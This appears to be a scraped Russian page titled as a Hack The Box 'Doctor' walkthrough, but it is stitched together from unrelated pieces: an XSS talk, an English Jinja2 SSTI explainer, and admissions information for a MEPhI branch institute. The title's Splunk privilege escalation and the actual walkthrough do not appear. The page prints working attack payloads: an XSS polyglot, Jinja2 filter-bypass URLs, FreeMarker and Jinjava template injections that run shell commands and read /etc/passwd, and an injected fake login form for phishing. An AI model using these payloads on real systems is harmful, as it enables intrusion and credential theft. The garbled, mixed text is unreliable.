Hack the box. прохождение doctor. ssti to rce. lpe через splunkd
Содержание:
Фреймворки
Также есть разные фреймворки, например, клиентские AngularJS и VueJS.
Здесь тоже есть специфический пейлоад:
{{7*7}} —> 49
Если это посчиталось на клиентской стороне и превратилось в 49, то здесь тоже возможна XSS-уязвимость. Нужно использовать constructor.constructor и вызвать alert:

Пейлоад, конечно, зависит от версии AngularJS, поэтому нужно чекнуть версию и подобрать пейлоад из списка.
Как и в случае с прошлыми примерами HTML entity, для AngularJS не имеет значения, используются ли фигурные скобки или HTML entities. Если разработчик подумал: «Я использую AngularJS или VueJS и не хочу, чтобы мне вставляли фигурные скобки, буду их обрезать», то достаточно поместить HTML entity-представление, и браузер уже срендерит это как надо.
{{7*7}} -> 49
У VueJS пейлоад тот же самый.
Вот такой пейлоад получился:
‘»/test/></title/</script/</style/—>{{7*7}}<iframe/onload=’alert«'<!—
</title/</script/</style/</noscript/—>… — ситуативно
‘»/test/ — если можем записать свой атрибут (onerror, onmouseover, …)
{{7*7}} — AngularJS, VueJS
Этот пейлоад не покрывает случаи, когда мы попали внутрь тега , и нам нужно не закрыть этот тег, а продолжать писать валидный JS (то есть без синтаксических ошибок). Если вы попали в функцию внутри функции внутри объекта, то вам нужно закрыть определенное количество фигурных скобок, нужно смотреть контекст. Универсального решения нет.
Но ведь есть много полиглот-пейлоадов. В чем отличия?
-
размер строки меньше, т. к. не предусматривает попадания туда, где нужно использовать схему JavaScript (ссылки);
-
включает проверку AngularJS, VueJS;
-
расширенное покрытие случаев с записью атрибутов.
Обычные полиглот-пейлоады используют onload=’alert()’, но у многих элементов нет такого события. В моем это:
‘»/test/></title/</script/</style/—>{{7*7}}<iframe/onload=’alert«'<!—
Если такой пейлоад небезопасно встроится в значение атрибута какого-то тега, то мы сможем выйти из значения атрибута и записать свой атрибут .
Что это нам даст? JS-то вызовем, потому что мы знаем, что нам достаточно этого для вызова JS, но сразу мы этого не увидим. Поэтому я предлагаю добавлять такой код на каждую страницу, где вы ходите, через расширение:
if(document.querySelectorAll(‘*’).length>0){
prompt(‘XSS’);
}

Дальше идем в DOM и смотрим, в какой элемент мы попали.
Пример:
Если мы выполним код, то получаем 1. Соответственно, если какой-то тег уязвим и мы записали туда свой атрибут, то можно дальше раскрутить это. Мы можем вместо test использовать onload или onmouseover, в зависимости от того, что поддерживает этот тег.
Можно внедрить этот код через расширение для браузера.
Причины возникновения XSS
Во-первых, XSS возникает при генерации HTML-страницы, когда разработчику нужно поместить туда указанные пользователем данные (ФИО, организация). Если разработчик записал данные в БД, затем тянет ее в HTML-шаблон, то это stored (сохраненный) XSS.
Разработчику могут понадобиться параметры из URL или тела запроса. Такой тип XSS называется reflected.
Причин XSS куча, потому что есть динамические изменения страницы с помощью JS, есть события, которые постоянно происходят на клиентской стороне с JS.
Но в этом докладе я расскажу про самые распространенные типы — stored XSS и reflected XSS.
Возьмем пример — обычная страница ВКонтакте. О чем подумает человек, который хочет найти XSS-уязвимости?
Во-первых, он обратит внимание на то, что есть поля, можно куда-то зарегистрироваться и что-то ввести

Попробуем ввести туда честные данные, но при этом добавим к ним . Он нужен для вызова JavaScript между открывающим и закрывающим тегами.

Что произойдет в этом случае?
Мы, как пользователь, который хочет зарегистрироваться во ВКонтакте, заливаем ему наши проверочные строки. Дальше разработчик сохраняет их в базу данных, и с этими данными ему надо работать. Нужно показывать их пользователю на его странице, в личных сообщениях и много где еще. Дальше данные попадают пользователю в браузер, когда они возвращаются ему обратно.

Допустим, разработчик не подумал, что в качестве имени пользователя могут быть не только честные данные, а еще и HTML-теги, которые встраиваются в оригинальный HTML-шаблон. Браузеру пофиг, он рендерит все, что ему сказал разработчик, поэтому рендерится и строка.
Оно могло бы выстрелить где-нибудь здесь:
Конечно, во ВКонтакте такой уязвимости нет. Но, так как эта страница является публично доступной, любой в интернете может на нее зайти, то это была бы довольно серьезная уязвимость.
Но вообще мы, как тестировщики, которые ищут XSS-уязвимости, чаще всего делаем это блэкбоксом. Мы не знаем, что происходит на сервере, какая база данных там используется, делает ли разработчик что-то с этими данными. Всё, что у нас есть, — это поле, куда мы можем что-то ввести, и какие-то страницы, куда это потом возвращается.
Методология поиска XSS, которую я сейчас вам покажу, основана как раз на том, что мы не знаем, какие процессы происходят на сервере.
Identify:
Note: if we feed in {{7*7}} in place of a username, then “Hello 49” will be obtained in the result.
After detecting template injection, the next step is to identify the template engine in use. This step is sometimes as trivial as submitting invalid syntax, as template engines may identify themselves in the resulting error messages. However, this technique fails when error messages are suppressed, and isn’t well suited for automation. In some cases, a single payload can have multiple distinct success responses — for example, the probe {{7*’7′}} would result in 49 in Twig, 7777777 in Jinja2, and neither if no template language is in use.

Green arrow shows success,Red arrow shows failure
Now, we need to customize the payload based on what sort of template engine we are dealing with.

Now let us try to inject some codes in the application and see whether the application executes or not. Below example process the input {{7*7}} and produces the result 49 in output which confirms the code template code execution.

{{7*7}} gives 49 in the result
Now, we need to read any file system from the application for further exploitation.
This command will show /etc/passwd file in the output. In order to understand the command, we need to read below explanation as well.
The MRO in stands for Method Resolution Order, and is defined as, «a tuple of classes that are considered when looking for base classes during method resolution.» The attribute consists of the object’s inheritance map in a tuple consisting of the class, its base, its base’s base, and so on up to (if using new-style classes). It is an attribute of each object’s metaclass, but is a truly hidden attribute, as Python explicitly leaves it out of output (see ) when conducting introspection.
The attribute is defined as a method that «keeps a list of weak references to its immediate subclasses.» for each new-style class, and «returns a list of all those references still alive.»
Greatly simplified, allows us to go back up the tree of inherited objects in the current Python environment, and lets us come back down. So what’s the impact on the search of a greater exploit for SSTI in Flask/Jinja2? By starting with a new-type object, e.g. type , we can crawl up the inheritance tree to the root class using , then crawl back down to every new-style object in the Python environment using . Yes, this gives us access to every class loaded in the current python environment
The first thing we want to do is select a new-style object to use for accessing the base class. We can simply use , a blank string, object type . Then, we can use the attribute to access the object’s inherited classes. Inject as a payload into the SSTI vulnerability. Since we want to go back to the root class, we’ll leverage an index of to select the class type . Now that we’re at the root object, we can leverage the attribute to dump all of the classes used in the application. Inject into the SSTI vulnerability.
Note: Subclass 40 is to read a file.

/etc/passwd file content displayed
Filter bypass
request.__class__request
Bypassing
http://localhost:5000/?exploit={{request|attr(|join)}}&class=class&usc=_{{request|attr(|join)}}{{request|attr(|join)}}{{request|attr(|join)}}{{request|attr("__class__")}}`request`.`__class__`
Bypassing and
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_orhttp://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
Bypassing
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Бонус
Мало кто задумывается, что письма — это HTML-код. Например, есть такое письмо от Trello:
В письмо тоже подтягиваются пользовательские значения, возможно, там есть XSS. Но письма мы смотрим в почтовых клиентах (обычно Mail.ru, Яндекс) и, разумеется, XSS в письме ведет к XSS в почтовом клиенте, а это уже другой скоуп, который никак не влияет на организацию, которая послала это письмо.
Пейлоад выглядит так:
Примерно как пейлоад для поиска XSS, но здесь мы не вызываем функцию JS, а встраиваем наши HTML-теги в шаблон письма. Также здесь есть ${77}{{77}}, как для AngularJS, только AngularJS рендерится на клиентской стороне, а этот пейлоад призван проверять возможность рендера клиентского значения через шаблонизаторы.
Пример уязвимого шаблона:

На первый взгляд — обычное письмо. Но если посмотреть на тему, то можно увидеть, что там есть HTML-теги, гиперссылка и HTML-коммент.
Идея в том, что мы добавляем нашу вредоносную гиперссылку, комментим оригинальное письмо и отправляем это письмо кому угодно.
Так как мы можем контролировать гиперссылку и контекст, мы можем зафишить кого-то невнимательного, потому что ссылка будет вести на левый сайт.
Недавно мне пришло такое письмо:
Кто-то пытался эксплуатировать абсолютно то же самое: приглашали присоединиться к организации. Разумеется, это фишинг.
Если ${7*7} -> 49 считается не на клиентской стороне, а на серверной, то это будет уязвимость, которая называется SSTI (Server Side Template Injection). Ее суть в том, что разработчики используют какие-то шаблонизаторы, потом они через эти шаблонизаторы прогоняют свои HTML-шаблоны и, если там есть что-то похожее на template expression language, они это рендерят.
Я покажу еще один пример из Bug Bounty. Это был RCE (remote code execution) через инъекцию шаблона во FreeMarker.
Это приложение позволяет создавать свои события, свою кампанию отсылки имейлов.

Имейлы здесь кастомные. Предоставляем HTML, который нужно разослать. Уязвимость была уже в том, что можно послать любой HTML с официального адреса этой компании кому угодно.
Но была еще более серьезная уязвимость. Она заключалась в том, что, если загрузить туда ${77} или #{77}, при превью этого шаблона у нас выведется 49:
Путем недолгих ковыряний я понял, что используется шаблон FreeMarker. А у шаблонизаторов FreeMarker есть такие штуки:
${cmd(‘id’)}
Достаточно вызвать, использовать его и передать ему в качестве параметра какую-то shell-команду, например, id.

И действительно показывает, что root:
Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Практический пример XSS на тестовом сайте
Следующий пример не является хакерским пособием. Это всего лишь демонстрация того, как можно использовать XSS для контроля и изменения выполняемых функций страницы и как менять метод обработки данных на странице. Практическое использование этого примера можно оспорить, однако все желающие могут ознакомиться со стандартными отчетами, в которых описано применение улучшенных XSS для получения комплексных результатов, не вызывающих подозрения у пользователя. Уверен, это будет Вам интересно.
Введите в браузере адрес следующей страницы: http://testasp.acunetix.com/Search.asp, Вы увидите, что это простая страница с полем ввода текста поискового запроса
Рисунок 1
Попробуйте вставить следующий код в поле поиска и обратите внимание на то, как на странице будет отображаться поле регистрации: Please login with the form below before proceeding:
| Login: | |
| Password: |
После вставки кода просто нажмите кнопку «Поиск». Рисунок 2
Из-за уязвимости страницы к XSS, стало возможным создать поддельную форму регистрации, которое можно использовать для сбора параметров доступа пользователя. На этапе 2 видно, что код содержит элемент «destination.asp». Здесь хакер может определить, куда поддельная форма регистрации будет отсылать параметры доступа для дальнейшего использования в преступных целях.
Хакер также может внедрить данный код, пропустив его через поле адреса браузера, как показано ниже:
http://testasp.acunetix.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before+ proceeding%3A%3Cform+action%3D%22test.asp%22%3E%3Ctable%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+ length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3Ctd%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+ length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%3C%2Fform%3E
Рисунок 3
Это даст тот же результат, что демонстрирует различные способы применения XSS для достижения одних и тех же целей. После того, как хакер получит параметры доступа пользователя, он может легко вернуть настоящую страницу поиска, и пользователь даже не поймет, что его только что обманули. Также этот метод может применяться и при рассылке спама, который мы получаем каждый день. Очень часто пользователь находит у себя в ящике письмо, в котором сообщается, что на определенном интернет-аукционе кто-то использует аккаунт пользователя с преступными целями. Затем пользователя просят нажать на ссылку для подтверждения личности. Это тот же самый метод, при котором пользователя перенаправляют к поддельной форме регистрации, где его параметры доступа будут скопированы и отосланы хакеру.
Документы необходимые для поступления:
- документ об образовании;
- документ, удостоверяющий личность поступающего (паспорт);
- ИНН, СНИЛС;
- фотографии 6 шт 3х4; (абитуриенты, подающие документы в г. Северске, могут сфотографироваться в приемной комиссии СТИ)
- документы, дающие права на льготы, установленные законодательством РФ (для лиц, претендующих на указанные льготы);
- справка о прохождении медицинского осмотра (на специальность 14.05.04 Электроника и автоматика физических установок и направления подготовки; 14.04.02 Ядерные физика и технологии (бакалавриат, магистратура));
- документы, подтверждающие индивидуальные достижения (по усмотрению поступающего).
Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Дорогие абитуриенты! Уважаемые родители!
Документы на все формы обучения принимаются с 15 июня 2021 года, тел. (3823) 780-131, 780-132.
Для подачи заявления необходимо зарегистрироваться в информационной системе https://org.mephi.ru. Согласие на зачисление
Этапы поступления
1) Ознакомьтесь с Правилами приема на обучение по образовательным программам высшего образования — программам бакалавриата и специалитета на 2021/22 учебный год. Это поможет вам сэкономить время и избежать ошибок при подаче заявления и необходимых документов. https://admission.mephi.ru/content/public/uploads/documents/mephi_rules_2021.pdf
2) Выберите направление подготовки\специальность Специальности и направления Это поможет определить свои приоритеты при поступлении.
3) Запомните сроки проведения приёмной кампании. Это поможет своевременно подать документы и отслеживать ход приемной кампании.
4) Выберите способ подачи документов:
1. Представляются в СТИ НИЯУ МИФИ лично поступающим (636036, Сибирский федеральный округ, Томская область, г. Северск, пр. Коммунистический, 65)
2. Направляются через операторов почтовой связи (Документы направляются поступающим по почте почтовым отправлением с уведомлением о вручении и описью вложения по адресу: 636036, Томская обл., г. Северск, проспект Коммунистический, дом 65 Северский технологический институт НИЯУ МИФИ (СТИ НИЯУ МИФИ), приемная комиссия)
3. Направляются в СТИ НИЯУ МИФИ в электронной форме посредством электронной информационной системы НИЯУ МИФИ (https://org.mephi.ru)
5) Наблюдайте за ходом приёмной кампании. Отслеживайте количество поступающих в рейтинговых списках. https://org.mephi.ru/pupil-rating/index/osp/7 Это поможет вам быстро сориентироваться в сложившейся конкурсной ситуации.
Сроки проведения приёмной кампании
|
Форма обучения |
Приём документов |
Вступительные испытания, проводимые НИЯУ МИФИ самостоятельно* |
Завершение приема заявлений о согласии на зачисление и оригиналов документов об образовании |
Зачисление** |
|
Очная форма обучения (на бюджетные места) |
15.06 — 29.07 до 18.00 (по результатам ЕГЭ) 15.06 — 16.07 до 18.00 (по вступительным испытаниям) |
12.07 — 29.07 |
04.08 до 18.00 (этап приоритетного зачисления) 11.08 до 18.00 (основной этап зачисления) |
06.08 (этап приоритетного зачисления) 17.08 (основной этап зачисления) |
|
Очная форма обучения (на места с оплатой стоимости) |
15.06 –27.08 до 18.00 (по результатам ЕГЭ) 15.06 — до 18.00 21.08 (по вступительным испытаниям) |
12.07 — 29.07 |
29.08 до 18.00 (завершение заключения договоров на оказание платных образовательных услуг) |
31.08 |
|
Очно-заочная форма обучения (на места с оплатой стоимости) |
09.08 — 29.08 |
*Поступающим по результатам вступительных испытаний, проводимых СТИ НИЯУ МИФИ самостоятельно, необходимо внимательно следить за расписанием экзаменов. http://www.ssti.ru/instr2.html
** Зачисление осуществляется на основании заявления о согласии на зачисление.
Выводы
Если вы разрабатываете приложение, работаете над архитектурой приложения, то всегда надо иметь в виду, что интернет — это небезопасное место.
Нужно всегда помнить, что нельзя доверять пользовательскому вводу. Рассматривайте место, где пользователь вам что-то посылает, как потенциально вредоносное.
Нужно проверять свое приложение, потому что даже самый внимательный разработчик все равно когда-то ошибется, допустит у себя уязвимость, и проверка необходима — чем чаще, тем лучше.
Используйте универсальный пейлоад, помещайте его во все поля, в каждый input. Рано или поздно это сработает, потом уже научитесь раскручивать, успешно находить еще больше XSS, может быть, придумаете свои векторы атаки.
В любом приложении всегда есть уязвимости, в том числе XSS. Если вы ищете баги безопасности, вы не можете быть уверены, что их там нет. Возможно, вы просто не можете их найти, но они там есть. Используя такое убеждение, можно найти еще больше багов.